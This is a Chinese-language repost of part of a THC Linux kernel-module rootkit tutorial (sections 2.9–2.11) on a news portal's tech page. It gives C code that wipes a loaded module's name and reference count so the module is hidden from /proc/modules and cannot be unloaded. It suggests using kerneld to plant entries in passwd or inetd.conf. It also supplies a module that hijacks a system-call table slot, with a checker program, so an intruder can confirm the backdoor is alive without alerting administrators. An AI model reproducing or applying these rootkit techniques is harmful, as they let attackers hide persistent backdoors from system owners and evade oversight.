china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


第二部分 渐入佳境


2.9 使我们的LKM不可见,而且不可卸载


现在我们该开始谈谈我们最为重要和有趣的部分了,这个想法起源于plaguez的发表于Phrack的LKM(其他的一些人,像Solar Designer,在过去讨论过这些......

到目前为止,我们可以隐藏文件,进程,目录和任何我们想隐藏的.但是我们不能隐藏我们自己的LKM.加载一个LKM并且看一眼/proc/modules.有很多方法我们可以解决这个问题.第一个方案我们可以隐藏文件的一部分(见2.4.3).这会很易于实现.但是还有一个更好更安全的一个方法.使用这个技术你必须截获sys_query_module(...)系统调用.一个关于这个实现的简单例子可以看A-b.

正如我在1.1中解释的,一个模块最后是通过一个init_module(...)系统调用来开始初始化函数的.init_module获得一个参数:struct mod_routines *routines.这个结构包含着加载这个模块的十分重要的信息.我们有可能通过操纵这些信息来使得我们的模块没有名字和引用记数.在此之后,系统就不会在/proc/modules里面显示我们的LKM了.因为他会忽略没有名字和引用记数为0的LKMs.下面的代码显示了如何获得mod_routines的部分信息,以及如何隐藏模块.

/*来自Phrack&AFHRM*/

int init_module()

{

register struct module *mp asm("%ebp");

//或者任何他在的寄存器

*(char*)mp->name=0;

mp->size=0;

mp->ref=0;

...

这段代码代码基于这样的事实:gcc并不控制ebp寄存器.因为我们需要他来找到正确的内存位置.在找到这个结构以后我们就可以设置结构的名字和引用记数为0.这会使得我们的模块不可见和不可卸载.因为你只可以卸载kernel知道的LKM.但是我们的模块是kernel不知道的.

记住这个技巧只有当gcc不改变寄存器的时候才有用.因为你需要他来存取结构.你必须使用如下的选项:

#gcc -c -O3 -fomit-frame-pointer module.c

fomit-frame-pointer告诉gcc不要为那些不需要的函数保存页面指针.这会使得我们的寄存器在调用init_module以后保持不变.因此我们可以存取到结构.依我看来这时最重要的技巧,因为他使得我们可以开发隐藏的和不可卸载的LKMs.

2.10 其他的入侵kerneld进程的方法


在2.8中你看到了一种入侵kerneld的方法.他帮助我们传播了LKM传染者.他也对我们的LKM后门十分有用.(见2.5.1).假定socketcall载入一个系统模块,而不是打开一个后门或者运行一个shellscript或者程序.你可以加载一个模块在paswd或者inetd.conf里面加一些入口.在加载第二个LKM以后你就有很多可能性来改变系统文件.再一次的,只要你有创造力....

2.11 如何检查当前的我们的LKM


我们学习了很多方法来使我们的模块逃避系统的检查.因此假如你自己编程在系统中用LKM中实现一个漂亮的后门;就像一些pingd,www远程shell,shell,...这样的的东西.当你登陆到那个系统以后,你自己怎么检查这些东西是否还运行呢?假定你登陆到了这个系统,然而你的LKM并没有被加载(因此不能隐藏你的进程),系统管理员正等着你呢.因此当你开始在那个系统中进行你的工作时,(比如说读你自己的纪录,检查一些邮件等等),每一步都会被管理员监视着.没有什么好的解决方法,我们通过一个简单的检查来确信我们的LKM正在运行。

我觉得下面的方法是一个好的解决方案(尽管也有很多其他的好的方法):

在你的模块中实现一个简单的系统调用

写一个小的用户空间的程序来检查这个系统调用

下面是一个实现了我们的‘检查’的系统调用的模块:

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#define SYS_CHECK 200

extern void* sys_call_table[];

int sys_check()

{

return 666;  

}

int init_module(void)        

/*初始化模块*/

{

sys_call_table[SYS_CHECK]=sys_check;

return 0;

}

void cleanup_module(void)    

/*卸载模块*/

{}

如果你通过在eax设置200进行一个系统调用,你应该会得到一个返回值666。因此我们的用户空间的程序可以这样检查:

#include <linux/errno.h>

#include <sys/syscall.h>

#include <errno.h>

extern void *sys_call_table[];

int check()

{

__asm__("movl $200,%eax

     int $0x80");

}

main()

{

int ret;

ret = check();

if (ret!=666)

printf("Our module is *not* present !!\n");

else

printf("Our module is present, continue...\n");

}

在我看来,这是最简单的检查我们的LKM的方法之一。不妨试试。

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网